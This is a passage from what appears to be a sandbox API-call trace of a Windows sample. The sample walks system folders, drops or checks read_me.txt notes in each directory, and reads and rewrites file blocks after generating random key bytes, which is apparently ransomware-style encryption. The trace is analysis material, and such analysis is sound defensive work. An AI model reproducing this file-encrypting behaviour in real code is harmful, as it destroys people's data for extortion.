dwReserved1=0x2fd0000, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Program Files (x86)") returned 26 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData") returned 18 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="Recovery", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery") returned 15 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\System Volume Information") returned 32 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="Users", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users") returned 12 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="Windows", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Windows") returned 14 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="Windows", cAlternateFileName="")) returned 0 [0077.516] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.517] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\read_me.txt") returned 18 [0077.517] GetProcessHeap () returned 0x540000 [0077.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.517] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 1 [0077.517] GetProcessHeap () returned 0x540000 [0077.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.550] GetProcessHeap () returned 0x540000 [0077.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.550] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\*") returned 19 [0077.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.551] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\.") returned 19 [0077.551] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.551] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\..") returned 20 [0077.551] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.551] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 33 [0077.551] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.551] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5591f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.551] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\read_me.txt") returned 29 [0077.551] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\read_me.txt" (normalized: "c:\\boot\\da-dk\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.552] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.552] CloseHandle (hObject=0x7ac) returned 1 [0077.552] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5591f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.552] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.552] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\read_me.txt") returned 29 [0077.552] GetProcessHeap () returned 0x540000 [0077.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.552] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 3 [0077.552] GetProcessHeap () returned 0x540000 [0077.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.689] GetProcessHeap () returned 0x540000 [0077.689] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.689] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\*") returned 19 [0077.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.690] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\.") returned 19 [0077.690] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.690] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\..") returned 20 [0077.690] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.690] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 33 [0077.690] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.690] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.690] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.690] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\read_me.txt") returned 29 [0077.690] GetProcessHeap () returned 0x540000 [0077.690] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.690] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 19 [0077.690] GetProcessHeap () returned 0x540000 [0077.690] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.700] GetProcessHeap () returned 0x540000 [0077.700] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.700] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\*") returned 19 [0077.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.701] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\.") returned 19 [0077.701] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.701] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\..") returned 20 [0077.701] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.701] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 33 [0077.701] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.701] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.701] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.701] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\read_me.txt") returned 29 [0077.701] GetProcessHeap () returned 0x540000 [0077.701] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.701] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 21 [0077.701] GetProcessHeap () returned 0x540000 [0077.701] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.709] GetProcessHeap () returned 0x540000 [0077.709] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.709] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\*") returned 19 [0077.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.710] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\.") returned 19 [0077.710] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.710] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\..") returned 20 [0077.710] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.710] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 33 [0077.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.710] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.710] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.710] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\read_me.txt") returned 29 [0077.710] GetProcessHeap () returned 0x540000 [0077.710] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.710] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 23 [0077.710] GetProcessHeap () returned 0x540000 [0077.710] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.764] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.764] ReadFile (in: hFile=0x7b8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.764] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.764] GetProcessHeap () returned 0x540000 [0077.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0077.764] GetProcessHeap () returned 0x540000 [0077.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0077.764] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0077.764] GetProcessHeap () returned 0x540000 [0077.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x4191078 [0077.764] ReadFile (in: hFile=0x7b8, lpBuffer=0x4191078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x4191078*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0077.841] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.841] WriteFile (in: hFile=0x7b8, lpBuffer=0x4191078*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x4191078*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0077.841] GetProcessHeap () returned 0x540000 [0077.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0077.841] GetProcessHeap () returned 0x540000 [0077.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.841] GetProcessHeap () returned 0x540000 [0077.841] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0077.841] GetProcessHeap () returned 0x540000 [0077.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.841] GetProcessHeap () returned 0x540000 [0077.841] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.842] GetProcessHeap () returned 0x540000 [0077.842] HeapFree (in: hHeap=0x540000, 